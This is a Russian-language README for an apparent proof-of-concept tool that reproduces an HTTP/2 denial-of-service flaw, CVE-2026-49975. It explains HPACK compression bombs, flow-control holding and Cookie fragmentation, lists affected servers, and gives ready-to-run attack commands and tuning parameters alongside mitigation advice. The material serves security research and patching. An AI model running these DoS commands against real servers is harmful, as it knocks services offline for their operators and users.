
CVE-2026-49975
Инструмент для воспроизведения удаленной уязвимости отказа в обслуживании HTTP/2
CVE-2026-49975 — это уязвимость отказа в обслуживании (DoS) в протоколе HTTP/2, затрагивающая популярные веб-серверы. Уязвимость была обнаружена компанией Calif (с использованием OpenAI Codex) в начале июня 2026 года.
HPACK-бомба сжатия: Минимальный заголовок (например, "x: a") вставляется в динамическую таблицу HPACK сервера, после чего отправляются тысячи однобайтовых ссылок на индекс. Каждая ссылка заставляет сервер выделять значительный объем служебной памяти, при этом клиент расходует минимальную пропускную способность. Коэффициент увеличения памяти может достигать ~5700:1 (Envoy) и ~4000:1 (Apache httpd).
Удержание управления потоком Slowloris: Нулевое окно управления потоком предотвращает отправку ответов сервером, а фреймы WINDOW_UPDATE передаются по каплям, поддерживая соединение активным, что "закрепляет" выделенную память.
Обход разделения Cookie: Большой Cookie разбивается на множество мелких фрагментов, обходя ограничения сервера на количество заголовков.
| ПО | Затронутые версии | Исправленные версии |
|---|
| Apache httpd (mod_http2) | < 2.0.41 | 2.0.41+ |
| nginx | < 1.29.8 | 1.29.8+ |
| OpenResty | на базе nginx < 1.29.8 | 1.29.8+ |
| Envoy (CVE-2026-47774) | ≤ 1.37.2 | 1.35.11, 1.36.7, 1.37.3, 1.38.1+ |
| Microsoft IIS | Windows Server 2025 | без исправления |
| Cloudflare Pingora | конфигурация по умолчанию | без исправления |
Данный инструмент предназначен для исследований в области безопасности и авторизованного тестирования, демонстрируя механизм атаки на уязвимость CVE-2026-49975.
pip install -r requirements.txt
# Базовая атака
python http2_bomb.py example.com
# Атака на локальный HTTP/2 тестовый сервер (без TLS)
python http2_bomb.py localhost -p 8080 --no-tls
# Интенсивная атака (50 потоков, 50000 ссылок на поток)
python http2_bomb.py example.com -s 50 -n 50000
# Включить обход разделения Cookie
python http2_bomb.py example.com --cookie-fragments 1000
# Быстрый режим (отправка без удержания соединения)
python http2_bomb.py example.com --no-hold
| Параметр | Описание | Значение по умолчанию |
|---|---|---|
target | Адрес целевого хоста | Обязательный |
-p, --port | Целевой порт | 443 |
--no-tls | Отключить TLS | false |
-s, --streams | Количество одновременных потоков | 10 |
-n, --headers-per-stream | Количество ссылок на заголовки в потоке | 10000 |
--cookie-fragments | Количество фрагментов Cookie | 0 |
--stream-delay | Задержка между отправкой потоков (сек) | 0.01 |
--window-update-interval | Интервал отправки WINDOW_UPDATE | 5.0s |
--no-hold | Не удерживать соединение после отправки | false |
--timeout | Таймаут сокета | 30 |
Запустите простой HTTP/2 сервер с помощью test_server.py для локальной проверки:
# Генерация самоподписанного сертификата
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# Запуск тестового сервера
python test_server.py --port 8443
# Запуск атаки
python http2_bomb.py localhost -p 8443
Немедленное смягчение: Если невозможно сразу установить исправление, временно отключите HTTP/2
Protocols http/1.1http2 off;Установка исправлений:
Усиление конфигурации:
max_headers (nginx 1.29.8+ по умолчанию 1000)Мониторинг и оповещение:
⚠️ Данный инструмент предназначен только для исследований в области безопасности и авторизованного тестирования на проникновение.
Несанкционированное использование данного инструмента против чужих систем является незаконным. Пользователь обязан соблюдать местные законы и проводить тестирование только на целях, на которые получено законное разрешение.
Лицензия MIT — для исследовательских и образовательных целей.